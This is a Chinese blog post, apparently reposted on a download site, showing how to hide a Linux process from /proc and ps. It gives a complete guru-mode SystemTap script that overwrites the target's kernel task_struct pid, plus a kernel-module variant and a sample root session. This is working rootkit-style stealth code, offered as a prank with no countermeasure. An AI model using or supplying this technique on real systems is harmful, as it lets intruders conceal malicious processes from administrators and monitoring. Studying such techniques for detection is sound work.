总有朋友问隐藏Linux进程的方法,我说你想隐藏到什么程度,是大隐于内核,还是小隐于用户。
网上通篇论述的无外乎hook掉procfs或者类似的用户态方案,也都难免长篇大论,我说,这些场面都太大了,太复杂了。对于希望马上看到效果的而言,看到这么一堆复杂的东西,大概率望而却步。
本文介绍一种将Linux进程小隐于用户的非常规方法,仅仅一行代码:
修改掉进程的pid即可。
注意是小隐,所以,不值得反制,逗一下高级会议工程师搞个恶作剧玩玩得了。
target->pid = 0x7fffffff;
完整的脚本如下:
#!/usr/bin/stap -g # hide.stp global pid; function hide(who:long) %{ struct task_struct *target; target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID); target->pid = 0x7fffffff; %} probe begin { pid = $1 hide(pid); exit(); }
来来来,试一下:
[root@localhost system]# ./tohide & [1] 403 [root@localhost system]# ./hide.stp [root@localhost system]#
用下面的命令可以检测所有可显示进程的二进制文件:
for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do ls -l /proc/$pid/exe; done
procfs里没了,ps当然就检测不到了。
如果你觉得guru模式的stap怪怪的,那么你完全可以编写自己独立的Linux kernel module,采用修改完即退的方法:
target->pid = xxxx; return -1;
是不是比各种hook法简单多了,所谓的 动数据而不要动代码!
简单的说一下原理。
- task被创建的时候,根据其pid注册procfs目录结构。
- 展示procfs目录结构的时候,遍历task list以其pid作为key来查找procfs目录结构。
- 0x7fffffff(或者任何其它合理的值)根本没有注册过,当然无法显示。
不多说。
再次声明,不要试图对本文所描述的方法进行反制,因为这么简单的东西根本不值得反制,哈哈,不是吗?
可以参考我之前的Rootkit系列文章来继续研究Linux进程大隐于内核的方法。同时,每一种方法我都给出了反制措施。
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
暂无评论...
更新日志
2024年11月22日
2024年11月22日
- ZWEI《迟暮的花 (Explicit)》[FLAC/分轨][137.51MB]
- 八戒《Gimme Gimme Love》[320K/MP3][39.21MB]
- 宝丽金群星1991《宝丽金超白金精选特辑Ⅱ》2CD[WAV+CUE][1.1G]
- 姚斯婷《但愿人长久》头版限量编号24K金碟[低速原抓WAV+CUE][1G]
- 孙露《试机孙露AMCD》WAV+CUE
- 张雨生《GreatestHits-XRCD2+HMCD》[WAV+CUE]
- FIM-无可挑剔的声音(SuperSound声霸1)[FLAC+CUE]
- 萧亚轩《3面夏娃/三面夏娃》[WAV+CUE][1G]
- 佛音《大悲咒》新加坡金碟珍藏版[WAV+CUE][994M]
- 刘德丽《赤的疑惑HQCD》头版限量编号MQA[WAV+CUE][1G]
- 谢采妘《古典情·现代心精选辑》[南方唱片]2CD[WAV整轨]
- [好时代珍藏系列]山口百惠《赤之传说》[WAV+CUE]
- RonaldBrautigam,PeterMasseursandConcertgebouwOrchestraAmsterdam-ShostakovichTheJazz
- 筷子兄弟《老男孩》[WAV+CUE][899M]
- 陈曦《寂寞在唱歌HQCD》2023头版限量编号[WAV+CUE][1G]